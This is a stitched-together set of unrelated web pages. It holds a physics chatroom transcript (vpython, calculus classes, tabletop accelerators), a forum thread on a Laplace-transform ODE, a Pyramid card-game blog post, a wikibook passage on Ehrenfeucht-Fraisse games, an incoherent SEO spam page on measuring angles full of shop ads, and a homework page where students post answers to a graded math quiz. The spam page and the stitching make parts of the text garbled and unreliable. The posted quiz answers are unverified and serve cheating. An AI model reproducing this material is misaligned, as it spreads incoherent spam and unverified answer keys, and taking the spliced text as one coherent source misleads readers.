@vzn So you're suggesting I should ask that in that chatroom ? I remember I was probably kick-muted for few minutes for asking vpython simulation questions in the PPCG chatroom (Mego told me it's "spam and noise"), so not sure if same will happen in that chatroom.
@NeuroFuzzy Any ideas on this ? vzn told you might be helpful.
@vzn Also, what should I see for more info ? The source codes ?
"kick-muted" sounds like an act of violence
No, exactly that was done. Read a couple of transcript of me and Mego after this
Hmmm, I see.
I've been "kick-muted" so many times, pal :-)
Oh I thought after some kick mutes you get permamently chat banned :)
Also, the guys at PPCG is a bit weird, to say the least.
The durations increase.
6:38 AM
Like,.. 1 m, 2m, 4m, 15m, 30m, 1hour, and you're dead after that ?
Why the hell typing "from vpython import *" keeps redirecting to "http://localhost:50484/" in IDLE
@AlexKChen you can ask pretty anything here. If you keep repeatedly posting after you've been asked to stop you might earn a kickmute, but not otherwise.
However I can't help with vpython - sorry :-(
@AlexKChen Something like that, it depends on the severity of the offences and, of course, the mods.
Good morning @JohnRennie :-)
God mourning @JohnRennie :)
mourning? :-)
lol
6:46 AM
Mourning could be "good"
I don't think repeated kickmuting leads to an automatic ban. But the third kickmute attracts the mods attention and they may decide to impose a suspension. As far as I know the kickmute penalty tops out at a 30 minute suspension.
Yeah, the automatic one does top out at 30 minutes, as far as I know.
@AlexKChen shouldn't it be:
from visual import *
How long can the room owner kick out someone?
Don't use *. It will pollute the namespace and make it hard to troubleshoot program errors
6:52 AM
@skullpatrol 30 minutes
Max?
Max
What's the min?
@JohnRennie Why visual, not vpython ?
1 min, I think.
6:54 AM
73
What tools are available to room owners? Room owners are users that have some elevated permissions in a chatroom. Typically, they will be the first line of defense when it comes to inappropriate content or behavior in a room. Users will look to the room owners to guide the room. The room owners...
(Anyway, I have posted about that here. If you have any insights on how to fix the issue, please answer/comment)
@AlexKChen I don't know, but if I Google for vpython example code it seems to import from visual.
@JohnRennie Error: No module named 'visual'', as expected
@JohnRennie thanks for that post.
7:12 AM
@AlexKChen Ah
I think vpython uses an internal HTML server to display the graphics.
Try running:
from vpython import *
box()
When I run that IE pops up and displays the box.
So what you describe is completely normal
7:45 AM
@JohnRennie 1. Make a list of the dumbest guys you know 2. Cut of the first guy's name, and insert my name there... What the hell, I was closing IE every single time instantly it opened, thinking it was an error ;(... It works perfectly now, of course :)
:-)
Thanks a lot @JohnRennie. You made my day today.
I've been Googling for vpyhton example code but there must be an old version of vpython. The example code I've found doesn't run.
And it uses from visual import *`
No it now works perfectly.
8:08 AM
Hey @DanielSank, have you ever seen this paper? I'm finding it quite interesting.
Hey @EmilioPisanty have you seen this computer? Now that's my kind of computer :P
8:51 AM
Is there a kelvin scale with Farhenheits
Rankin?
*e
9:40 AM
@ACuriousMind (& other mods / 10k'ers) does this one really need the protection?
11
Is there anything interesting to say about the fact that the Planck constant $\hbar$, the angular momentum, and the action have the same units or is it a pure coincidence?
2 hours later…
11:39 AM
@EmilioPisanty probably not
12:24 PM
So I sat in on an Honors Diff Eq class. It's heavily proof based and seems pretty hard. Is that some mindset people adapt over time?
What mindset?
One to immediately know how to prove something
The mindset that things should be proven? Yeah, it's called being a mathematician ;)
@SirCumference Not "immediately". Learned mathematicians produce these proofs often seeemingly effortlessly because they have seen them dozens, if not hundreds, of times in various disguises. Proving things is something you can train by doing it just like any other skill
12:29 PM
@ACuriousMind diff eq is usually the first class americans take in college
those kids are likely fresh out of high school
@SirCumference just needs to git gud
I'll never understand American education :P
@ACuriousMind I'm confused too, I don't see the point in having a first course on diff eq be proof based
just like I think having a first course on calculus being analysis is silly
@ACuriousMind did you see my hodge question on MSE?
@0ßelö7 Yes.
How did the poster presentation go?
@skullpatrol very well modulo one hiccup
12:33 PM
Did you wear a suit and tie?
no tie
it was too hot for that
and I would have been overdressed
What was the hiccup?
@skullpatrol I asked for the math credentials of a Very Important Tenured Professor (I had never heard of her before)
I was polite
dunno what the issue was
+ you can always take a tie off
she said she was in the PDE group. I wanted to say that I've never seen her at the seminars, but that would have ended badly
12:37 PM
@ııııııııııııııııııııııı Nothing I'd like to share.
@SirCumference honestly unless you went to a garbage high school there's no reason to take calc 2 in college
I think you're just the exception
12:39 PM
and I'm talking trash high school
@0ßelö7 But I did go to a garbage high school
my high school calc teacher didn't know what a Laplace transform is and still got most everyone a 5 on the BC calc test
@0ßelö7 You think that's bad? My calc teacher hadn't taken calc in ten years
@SirCumference What? Most people haven't taken calculus in a decade
@0ßelö7 Well apparently she forgot it all
12:40 PM
@SirCumference No, lots of people get a 5 on the AP test
Most of the class was just sitting around
Maybe an occasional Khan Academy video
@SirCumference How does that work? What was actually happening in the lesson?
I can't imagine a class room full of teenagers and everyone just sitting around doing nothing
@ACuriousMind Sometimes she'd do nothing and just give us the same "differentiate this" problems. At one point she jumped to partial differentiations before we even finished regular diffs
The entire class was confused because the lesson involved multivariable calc
That doesn't sound like "sitting around", that sounds like a bad lesson.
this
12:42 PM
Not to mention, she "taught" integration before differentiation, for some bizarre reason
your testimony is tainted by hatred
@ACuriousMind Well it's not a lesson if we aren't learning
@ACuriousMind Anyways, I think it would be really a waste if someone like you doesn't do a PhD....*please* stay in academia
@ııııııııııııııııııııııı What?
Just imagine the good that someone like @ACuriousMind could do in the real world
2
^ that
12:43 PM
@0ßelö7 I've only seen a couple of freshmen in my Diff Eq class
@SirCumference Of course it is. A tree that falls in the forest still makes a sound.
Though not many people take Diff Eq to begin with
@ACuriousMind PROOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOF
3
@0ßelö7 That's the sound you make, not the tree
12:44 PM
@ııııııııııııııııııııııı Not in the slightest
@ACuriousMind A teacher without any topics isn't teaching tho
@SirCumference But she had topics, even gave you exercises about it. I'm not saying she wasn't a bad teacher, but pointless exaggeration isn't helpful
Funnily enough, I saw my last calc prof in that honors class (he was subbing for the Diff Eq prof). I asked if it was gonna be harder than our last class, he said "Oh, that? Yeah, this is going to be WAY harder"
I just blankly stared
@ACuriousMind Regardless, the misleading way she taught some things actually made calculus more difficult when I got to college
@0ßelö7 hmmm now that I think about it, I think ACM can't do much good in the real world. He can be much more productive in the imaginary world of theoretical physics
12:47 PM
@ACuriousMind So the class was actually worse than pointless
We seriously need more table top accelerators
Don't say that ııııııııııııııııııııııı
@Secret I'm sure you have a CRT monitor laying around, no?
@SirCumference Now that's a much more useful statement than what you said before
@Giskard42 CRT monitor? What year is it?
@Secret we urgently need to know what's going on at the center of a black hole
12:48 PM
@Giskard42 O sorry, I forgot to be specific: A table top accelerator that can produce at least some heavy hadrons
@ACuriousMind But no less exaggerated :P
@Secret Fine, a CRT monitor and a 100kv power supply.
Point away from face.
probably the CRT will be fried first....
@Secret Why would you need such a thing?
In seriousness, I dunno if the honors is worth it. It seems too time consuming especially since I have a lot of classes this semester
12:49 PM
@Secret That's just an engineering problem.
@ACuriousMind Well, if high energy particle physics can be made at benchtop, perhaps it will greatly put the progress of particle phenomenology in line with the development in theoretical particle physics, as currently the theory is mostly ahead and the currently strongest accelerators are still far from the required power and sophistication to test the models
There are some table top accelerate examples out there, but they have yet to reach that level
@Secret But we don't need more particle accelerators. If anything, we need more powerful ones. Why does their size matter?
Also, who doesn't want a desktop particle accelerator!
@ııııııııııııııııııııııı I don't think ACM is in academia
Oh wow, didn't realize he was a student...
@SirCumference ...
12:53 PM
Regular sized instruments is probably easier to manage in terms of engineering. Just recall what happens back last year when that squrrel bit off a wire in the LHC
I'm not sure what the deeper context of this discussion is and there may be something I missed, but I came here to see what's going on and this is what it looks like at first glance to an outsider: A huge boasting competition with some people trying to show how much smarter than the educational system they are. I'm sure that wasn't directly the intention, but it looks pretentious. I know you, but maybe scale it back, guys, if you don't want to give people that don't the wrong impression
Are you high?
3
Where the hell have you been these past years
@0ßelö7 I couldn't sleep much, first day back is rough...
@ACuriousMind I thought you were in industry all this time...
@Secret probably, and I'd bet having thousands more people working on even low-energy stuff could figure new stuff out
12:55 PM
@Secret And...you want that sort of disastrous power concentrated into a thing that fits on your table?
@ACuriousMind You wouldn't?
Well, of course, just like all dangerous devices, usual lab safety applies. So if we can increase power while downsizing them, it will help cost down the cost dramatically on the maintainence
@Jim Which part of the different discussion threads are you talking about, exactly?
and.....@0ßelö7 dominates the starboard again
@SirCumference It has said I'm a student in Heidelberg on my profile all this time.
12:56 PM
@ACuriousMind Yeah but I haven't individually looked at everyone's profile...
It was all directed at high school
There are some research groups working on certain table top accelerators such as laser plasma and wakefield accelerators, and their results are quite encouraging despite slow
@Secret "usual lab safety applies." Though I don't think eye wash stations help against vaporization.
@ACuriousMind maybe he figured you're like those profs who haven't updated their pages since 2007
12:57 PM
Yeah, a particle accelerator lab probably need more stringent regulations given the power
That would be the most badass way to go, though. "Mr. So-And-So was disintegrated peacefully by a particle beam of his own design on Friday night."
So wait, is anyone here actually a professor?
This is a list of inventors whose deaths were in some manner caused by or related to a product, process, procedure, or other innovation that they invented or designed. == Direct casualties == === Automotive === Sylvester H. Roper, inventor of the eponymous steam-powered bicycle, died of a heart attack or subsequent crash during a public speed trial in 1896. It is unknown whether the crash caused the heart attack or vice versa. William Nelson (c. 1879−1903), a General Electric employee, invented a new way to motorize bicycles. He then fell off his prototype bike during a test run. Franc...
Actually dmckee is if I recall
@Jim everybody complaining about the level below them not being adequate is normal :-)
1:01 PM
@ııııııııııııııııııııııı en.wikipedia.org/wiki/Anatoli_Bugorski
@Secret The energy in these accelerators is several orders of magnitudes higher than anything you have in an ordinary lab, "usual lab safety" doesn't help you one bit. The idea you can build small accelerators that probe at the energies the large ones do sounds pretty misguided to me
@SirCumference Of the regulars, I think only dmckee is
@ACuriousMind I think he's saying progress would still be made even with many low-energy accelerators, just due to more manpower
@Giskard42 But it wouldn't.
As I said, we don't need more accelerators, we need more powerful ones.
@ACuriousMind I can think of a thousand things I'd want to try with a moderately powerful accelerator
@SirCumference I run a couple lab courses and teach the practical physics component to students. I suppose I'm a third of the way to being classified as a prof
1:03 PM
@ACuriousMind Is it too dangerous or probably infesible?
@Giskard42 Sure, but that wouldn't advance particle physics, which is what Secret was talking about. It might certainly advance other fields.
@Secret Both.
@ACuriousMind True.
@Secret Everyone dies at some point, might as well die in a helium quench.
@Jim Then we'd only have two profs. That's kind of surprising
one and a third
How much do researchers count for?
:P
1:06 PM
@Giskard42 A moderately powerful accelerator may be able to produce heavy hadrons at a faster rate than LHC. While the particles are not new physics particles, given the intense progress in the physics of hadrons, such accelerators might help accelerate it by producing more hadrons at relatively lower cost for analysing the strong force
what's more surprising is that I focus on teaching experimental physics when my background is theoretical cosmology; probably the farthest physics from experimental
@skullpatrol pdf?
Yes.
A particle accelerator more powerful than LHC may be needed to produce new physics particles, but a particle accelerator of similar power or slightly less than LHC may help on hadron physics
a half. You got the PhD and you work at a university doing research. You need to teach courses to get the other half
@Secret Yeah, I think the benefits of having civilian access to cutting-edge scientific equipment are usually pretty substantial.
1:09 PM
I'd say 49%
@Secret How exactly will having a bunch of hadrons help me "analysing the strong force"?
Particle physics doesn't just take a bunch of particles and looks at them.
If the technology can allow downsizing to that degree be possible, then production of heavy hadrons and jets will become routine enough to accumulate a lot of data in shorter time.
But I guess, my major argument is the reduce in cost due to downsizing, and funding is one important factor in experimental particle physics
Why don't you go into nuclear physics? @ACuriousMind
Suppose one can go from trillions of cost to around $10000 to operate and maintain an accelerator, then it should help in accelerating the research, I think... ACM could build bombs 1:13 PM @Secret Only if you think there's a lot of data worth gathering that we haven't gathered due to cost @Secret "accelerating the research" nice one @ACuriousMind But is that the reality? (I am not sure about that one, though) However, the accelerators already produce millions and millions of data points. I don't really see why you think scaling that up to (say, these numbers are just illustrative) a billion data points will qualitatively change something. Is the math too hairy? Like, point out a single experiment that one could do with a particular accelerator if it were cheaper that has a plausible chance of finding out something new about particle physics. 1:16 PM @skullpatrol I don't think @ACuriousMind is scared of math uh, because some decay process are rare enough that it takes a lot more data to see them. Having said that, I am not sure what's the best ballpark number for a "routine production"? Sobolev spaces...perhaps hmm... I only have double beta decays in mind atm @0ßelö7 No, math is scared of ACM :-) 5 I forgot the name of some other important decay channels that are of intense interest and only involve known hadrons 1:17 PM @Secret Oh, so that's a long shot - sure, that possibility always exists, that some decay is so rare it hasn't become significant yet. That is one reason I am quite excited about the research progress on table top accelerators and also some progress in hadron physics @ACuriousMind proton decay @0ßelö7 Hm? How's an accelerator gonna help you with that? @ACuriousMind gotta make some protons World doesn't have enough protons 1:28 PM and hadron jets are too messy to isolate protons from it @ACuriousMind how does one get an arxiv feed? when I went to CERN last year on a trip they had a pretty cool 'anti-matter factory' sorta thing goin' on... @SirCumference you just need one and some luck @CooperCape How long beforehand did you need to schedule to get in? @0ßelö7 Or lots of free time to wait 1:29 PM @0ßelö7 What do you mean? The daily mails about what's new? There are instructions on the arXiv site, search for "subscription" I dunno it was with school... @CooperCape ah, okay. Tried booking a tour last year and there was a waiting list of like a year or so Oh wow that's an insanely long time... @CooperCape Well, y'know, it is pretty popular :> Unsurprisingly so... :p 1:33 PM @CooperCape And I'd imagine there's only so many people they want to take in at a time, since with larger groups accidents would be more common - @ACuriousMind imma go ahead and unprotect it like the thing a little while ago where a journalist almost put his backpack into an emergency-off switch oh really? That would be a big ol' oopsie... Does anyone else hate how contradictory mathematical notations can be? @0ßelö7 also look into arXitics and SciRate 1:37 PM @SirCumference No. @EmilioPisanty what's that (because I have no idea what you mean) @0ßelö7 bfy.tw/Dh8S @ACuriousMind Example: does$\ln{x}^2$mean$(\ln{x})^2$or$\ln{\ln{x}}$? 1:39 PM How about how$\tan^{-1}$can mean arctan? @SirCumference 1. It clearly means$\ln(x^2)$:P 2. That's not contradictory, that's ambiguous. @SirCumference ^ that. @SirCumference And everything about trig is just historical baggage :P @EmilioPisanty I don't know what that means @ACuriousMind Yeah, all this talk about "sin", very archaic 3 1:41 PM @0ßelö7 you see the blue text? click and/or tap it @Giskard42 My point exactly! @EmilioPisanty goes to a blank site @ACuriousMind Fine, how ambiguous it is. Like if I say "Point p is on (3,2)". Does that mean p is on the open interval "(3,2)", or that its coordinates are "(3,2)"? sigh These notations overlap a lot 1:42 PM @SirCumference so? language is ambiguous deal with it if you want unambiguous mathematical notation, write in Coq input format @SirCumference Well, there's plenty of ways to make things unambiguous if you really need it. I don't see hwo this is a fault of "mathematical notation" and not people having bad communication skills :P The worst is how the second derivative has$dx^2$in the denominator instead of$d^2x^2\$
What
@SirCumference you say the strangest things
@EmilioPisanty I don't get it. What about them?
@0ßelö7 you wanted an arXiv feed, right?
I can't see the starboard but I must be on a roll
1:47 PM
@0ßelö7 ba dum tss
Was that a pun
well, since a pun is, by definition, intended by the author, I guess not
I don't even see the pun
"on a roll" is an idiom, but if taken literally and applied to nautical aviation, a roll might prevent you from seeing the starboard horizon
1:52 PM | 6,501 | 25,875 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.953125 | 3 | CC-MAIN-2020-16 | latest | en | 0.944509 |
http://mathhelpforum.com/differential-equations/112112-solving-nonhomogeneous-second-order-ode-using-laplace-transform.html | 1,524,487,517,000,000,000 | text/html | crawl-data/CC-MAIN-2018-17/segments/1524125945942.19/warc/CC-MAIN-20180423110009-20180423130009-00532.warc.gz | 205,144,708 | 10,128 | Thread: Solving a nonhomogeneous second order ODE using Laplace transform
1. Solving a nonhomogeneous second order ODE using Laplace transform
$\displaystyle y'' - 2y' + 2y = cost; \, y(0) = 1, \, y'(0)=0$
So I know $\displaystyle s^{2}L[y] - sy(0) - y'(0) -2sL[y] + 2y(0) + 2L[y] = \frac{s}{s^{2}+1}$
$\displaystyle L[y](s^{2} -2s +2) - s + 2 = \frac{s}{s^{2} + 1}$
$\displaystyle L[y] = \frac{s(s^{2} - 2s + 2) -2}{(s^{2} + 1)(s^{2} - 2s +2)}$
$\displaystyle L[y] = \frac{s}{s^{2} + 1} - \frac{2}{(s^{2}+1)(s^{2}-2s+2)}$
I am pretty sure I am right up to this part and I know I have to use partial fractions, but everytime I do I get a different answer and they are never close to what the answer key's answer is:
$\displaystyle y = \frac{1}{5}(cost - 2sint +4e^{t}cost - 2e^{t}sint)$
Much help would be appreciated!
2. Originally Posted by Pinkk
$\displaystyle y'' - 2y' + 2y = cost; \, y(0) = 1, \, y'(0)=0$
So I know $\displaystyle s^{2}L[y] - sy(0) - y'(0) -2sL[y] + 2y(0) + 2L[y] = \frac{s}{s^{2}+1}$
$\displaystyle L[y](s^{2} -2s +2) - s + 2 = \frac{s}{s^{2} + 1}$
$\displaystyle L[y] = \frac{s(s^{2} - 2s + 2) -2}{(s^{2} + 1)(s^{2} - 2s +2)}$
$\displaystyle L[y] = \frac{s}{s^{2} + 1} - \frac{2}{(s^{2}+1)(s^{2}-2s+2)}$
I am pretty sure I am right up to this part and I know I have to use partial fractions, but everytime I do I get a different answer and they are never close to what the answer key's answer is:
$\displaystyle y = \frac{1}{5}(cost - 2sint +4e^{t}cost - 2e^{t}sint)$
Much help would be appreciated!
Well, you need to get the correct partial fraction decomposition and that's just paleontological spade work. After which you get:
$\displaystyle \frac{s}{s^2 + 1} - \frac{1}{5} \left( \frac{6 - 4s}{(s - 1)^2 + 1} + \frac{4s + 2}{s^2 + 1}\right)$
$\displaystyle = \frac{1}{5} \left( \frac{4s}{(s - 1)^2 + 1} - \frac{6}{(s - 1)^2 + 1} - \frac{2}{s^2 + 1} + \frac{s}{s^2 + 1}\right)$
and the inversion is simple. However, the 6 is clearly wrong (it should be a 2) so I suspect there's a small error somewhere in your expression for L[y]. | 847 | 2,079 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.984375 | 4 | CC-MAIN-2018-17 | latest | en | 0.645364 |
https://dissonantsymphony.com/tag/addition/ | 1,670,530,894,000,000,000 | text/html | crawl-data/CC-MAIN-2022-49/segments/1669446711360.27/warc/CC-MAIN-20221208183130-20221208213130-00496.warc.gz | 237,578,151 | 22,835 | # Pyramid: Throwback Math Game
This game, in addition to cribbage (thanks English heritage!), were my constant companions as a child. These games also provided an incredibly strong foundation for math facts. I didn’t recognize the math benefits as a kid, but now I realize just how greatly games boosted my simple addition skills, and try to employ them in my own children’s lives as much as possible. I loved pyramid because it was a single person game, but not boring like solitaire. Seriously. I cannot comprehend how people enjoy solitaire forever.
You’ll need a standard deck of cards for pyramid. The object of the game is to remove cards in the pyramid by “making 13”. You make 13 by removing two cards at a time which, added together, equal 13. Set up your cards like this. One card is dealt face up at the top of the playing area, then two cards beneath and partially covering it, then three beneath them, and so on completing with a row of seven cards for a total of 28 cards dealt. The remaining cards are placed to the side face down.
Play begins by matching two cards to equal 13. Like the 5 and 8 on my bottom row.
Since you can only match cards that aren’t covered by another card, I couldn’t match the queen and ace until I’d removed the 5 and 8. Now that the first pair is gone, the only thing covering the ace is the queen it goes with, so I could match those second.
You can also remove any uncovered kings because those equal 13 all by themselves.
Play continues until you have nothing you can match. That’s where your cards on the side come in. Flip one at a time face up to try to match with the remaining cards in your pyramid. For an extra challenge, flip three at a time, but since I’m using this as a math game, I want as many opportunities to make matches as possible. The goal is to clear the entire pyramid. Any cards left in the pyramid count as points against you. For example, if I had my 4, 6, and ace (top two rows of my pyramid) remaining, my score would be 11.
For play with younger kids, remove all the face cards (except aces) and play with the goal number of 10. This is a wonderful way to really cement those all important sum of ten facts.
You can play competing games with as many kids as you have decks of cards for. My son loves trying to beat me. No. We aren’t Canadian. Brought those cards back from a trip with my sisters to our neighbor up north. My munchkins both LOVE playing games with their maple leaf cards. Do you have any favorite math games with playing cards? Feel free to leave a suggestion in the comments! I’m always looking for new games to play! | 589 | 2,615 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.90625 | 4 | CC-MAIN-2022-49 | latest | en | 0.967073 |
https://en.m.wikibooks.org/wiki/Finite_Model_Theory/FO_EFM | 1,709,343,563,000,000,000 | text/html | crawl-data/CC-MAIN-2024-10/segments/1707947475711.57/warc/CC-MAIN-20240301225031-20240302015031-00028.warc.gz | 234,193,418 | 8,932 | Finite Model Theory/FO EFM
The method for employing Ehrenfeucht-Fraisse-Games for (in-)expressibility-proofs is given by the following:
Theorem
Let P be a property of finite σ-structures. Then the following are equivalent
• P is not expressible in FO
• for every k ${\displaystyle \in \mathbb {N} }$ there exist two finite σ-structures ${\displaystyle {\mathfrak {A}}_{k}}$ and ${\displaystyle {\mathfrak {B}}_{k}}$, such that the following are both satisfied
• ${\displaystyle {\mathfrak {A}}_{k}\equiv _{k}{\mathfrak {B}}_{k}}$
• ${\displaystyle {\mathfrak {A}}_{k}}$ has P and ${\displaystyle {\mathfrak {B}}_{k}}$ does not have P
Remarks
• Thus using the EFM works roughly as follows:
• choose a k
• construct two structures - one with the property, one without - that are big enough s.t. the duplicator wins the k-ary EFG
• show that this can be expanded with k
• So, a non-expressible property (i.e. the effort to check it) must be somehow 'expandable' with k
Examples
• To begin pick two linear orders say A ={1, 2, 3, 4} and B ={1, 2, 3, 4, 5}. For a two-move Ehrenfeucht game D is to win, obviously. This gives us two structures that satisfy the above conditions for k = 2 and the Property having even cardinality (that A has and B doesn't). Now we have to expand this over all k ${\displaystyle \in \mathbb {N} }$. From the above example we adopt that in a linear order of cardinality ${\displaystyle 2^{k}}$ or higher D has a winning strategy. Thus we choose the cardinalities depending on k as |A| = ${\displaystyle 2^{k}}$ and |B| = ${\displaystyle 2^{k}}$+1. So we have found an even A and an odd B for every k, where D has a winning strategy. Thus (by the corollary) having even/odd cardinality is a property that can not be expressed in FO for finite σ-structures of linear order. | 525 | 1,804 | {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 10, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.75 | 4 | CC-MAIN-2024-10 | latest | en | 0.893736 |
https://pgoutcomes.net/prodigous-measuring-angles/ | 1,620,616,109,000,000,000 | text/html | crawl-data/CC-MAIN-2021-21/segments/1620243989030.65/warc/CC-MAIN-20210510003422-20210510033422-00176.warc.gz | 470,012,296 | 7,960 | # Prodigous measuring angles information
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Prodigous Measuring Angles. 30 day money back guarantee. Follow these steps to draw the angle PQR 60 circ. Measuring angles When measuring angles make sure that the centre of the protractor is over the vertex corner of the angle and that the base line of the protractor is along one of the lines of. Next Day Delivery Available.
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Click here to find out how you can support. A right angle looks like the corner of. Get all your Parts Today. You can use a protractor pencil and ruler to draw an angle that you have been given. Angles can be between 0. An angle is the space between two lines that start at the same point and you measure them in degrees.
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Apple Pay accepted in store. Learn about drawing measuring and labelling angles with this BBC Bitesize Scotland Maths guide for 3rd level CfE Mathematics. Digital Angle Finder 0-225. Advanced Angles Posters Carrie Cameron Angles Jigsaw 2 Peter Barnett Advertisement. An angle is the space between two lines that start at the same point and you measure them in degrees. Draw the line QR.
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Delivery 7 days a week. A protractor is one main instrument used to measure angles i. A right angle looks like the corner of. A right angle looks like the corner of. Measuring angles When measuring angles make sure that the centre of the protractor is over the vertex corner of the angle and that the base line of the protractor is along one of the lines of.
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Advanced Angles Posters Carrie Cameron Angles Jigsaw 2 Peter Barnett Advertisement. 1591 Top Measuring Angles With A Protractor Teaching Resources. To calculate the angle use the inverse cos button on the calculator cos-1. Ad Shop over 550000 Products In Stock. Inspiration to Over 1 Million Customers across the Globe.
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Measuring angles When measuring angles make sure that the centre of the protractor is over the vertex corner of the angle and that the base line of the protractor is along one of the lines of. Collect in hundreds of stores in as little as 1 minute. Ad Shop over 550000 Products In Stock. Next Day Delivery Available. Explore how to use a protractor and identify acute obtuse straight and reflex angles.
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Collect in hundreds of stores in as little as 1 minute. Measuring Angles Louise Whitby Clock Face Angles Matthew Mullen Angles on a line Ali PDF. Angles can be between 0. Every polygon contains interior angles each located just inside of each vertex or corner point. You can use a protractor pencil and ruler to draw an angle that you have been given.
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Learn about drawing measuring and labelling angles with this BBC Bitesize Scotland Maths guide for 3rd level CfE Mathematics. A right angle looks like the corner of. 1591 Top Measuring Angles With A Protractor Teaching Resources. Every polygon contains interior angles each located just inside of each vertex or corner point. Next Day Delivery Available.
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Digital Protractor with Battery And Pouch 400mm16 inch Angle Ruler with Spirit Levels And Backlit LCD Digital Angle Measuring Tool for Roofing Engineering 46 out of 5. Draw the line QR. Inspiration to Over 1 Million Customers across the Globe. Measuring Angles Louise Whitby Clock Face Angles Matthew Mullen Angles on a line Ali PDF. A right angle looks like the corner of.
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Apple Pay accepted in store. Follow these steps to draw the angle PQR 60 circ. 30 day money back guarantee. A right angle looks like the corner of. Measuring angles When measuring angles make sure that the centre of the protractor is over the vertex corner of the angle and that the base line of the protractor is along one of the lines of.
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30 day money back guarantee. A right angle looks like the corner of. Click here to find out how you can support. Inspiration to Over 1 Million Customers across the Globe. Angles can be between 0.
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Measuring and identifying angles In this video you will learn that angles are a measure of turn. Learn about drawing measuring and labelling angles with this BBC Bitesize Scotland Maths guide for 3rd level CfE Mathematics. Measuring and identifying angles In this video you will learn that angles are a measure of turn. Measuring Angles Louise Whitby Clock Face Angles Matthew Mullen Angles on a line Ali PDF. You can use a protractor pencil and ruler to draw an angle that you have been given.
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Digital Angle Finder 0-225. Digital Angle Finder 0-225. You can use a protractor pencil and ruler to draw an angle that you have been given. Collect in hundreds of stores in as little as 1 minute. A right angle looks like the corner of.
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Ad Shop over 550000 Products In Stock. Angles can be between 0. Every polygon contains interior angles each located just inside of each vertex or corner point. Inspiration to Over 1 Million Customers across the Globe. A right angle looks like the corner of.
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Click here to find out how you can support. A protractor is one main instrument used to measure angles i. Explore more than 1591 Measuring Angles With A Protractor resources for teachers parents and pupils as well as related resources on Measuring Angles. A right angle looks like the corner of. You can use a protractor pencil and ruler to draw an angle that you have been given.
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Apple Pay accepted in store. We need your help. 30 day money back guarantee. A right angle looks like the corner of. Collect in hundreds of stores in as little as 1 minute.
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Draw the line QR. Delivery 7 days a week. Angles can be between 0. Digital Angle Finder 0-225. Using a Protractor - measure angles Estimation - report angles to the nearest whole number Common Core Connection for 4th Grade Recognize that angles are formed when two rays share a common endpoint.
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If you find this site serviceableness, please support us by sharing this posts to your favorite social media accounts like Facebook, Instagram and so on or you can also bookmark this blog page with the title prodigous measuring angles by using Ctrl + D for devices a laptop with a Windows operating system or Command + D for laptops with an Apple operating system. If you use a smartphone, you can also use the drawer menu of the browser you are using. Whether it’s a Windows, Mac, iOS or Android operating system, you will still be able to bookmark this website. | 1,704 | 7,910 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.5625 | 3 | CC-MAIN-2021-21 | latest | en | 0.878237 |
https://www.jiskha.com/questions/1736613/the-stem-and-leaf-plot-shows-the-test-scores-of-a-science-class-use-the-plot-to-answer | 1,638,396,936,000,000,000 | text/html | crawl-data/CC-MAIN-2021-49/segments/1637964360951.9/warc/CC-MAIN-20211201203843-20211201233843-00046.warc.gz | 886,176,942 | 16,484 | # math
The stem-and-leaf plot shows the test scores of a science class. Use the plot to answer the question.
1.how many students scored 78? (1 point)
1 student
2 students
3 students
4 students
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1. The answer is 4 students!!
Trust me, I took the test and looked a youtube video to help me understand stem and leaf plots better
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2. Then you are a cheater
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4. idc screw this
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5. He is right i been knew the answer i just wanted yall to figure it out and you finally did!!!!!!!!!!!!!!!!!!!π€πππππβπ€π€³ββββββββββββββ
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6. i want it i got it
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7. sorry i think the answer is 4
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8. its 4
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9. Answers for the Statistical Questions Quiz in Connexus
1. 4 students
2. 78
3. 56
4. The scale on graph 1 does not distort the differences in the numbers of students
5. No; \$9.25 is the correct median
6. Nice; sly
7. What did you score on the last math quiz?
8. Ask my friends, "in which club should i participate?"
100% correct, i swear on my video games lives, and thats a serious thing to swear on for meπ enjoy the answers
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10. gemini are you capping?
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11. No Anonymous, i promise those answers are 100% correct
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12. 4 Is answer for number one
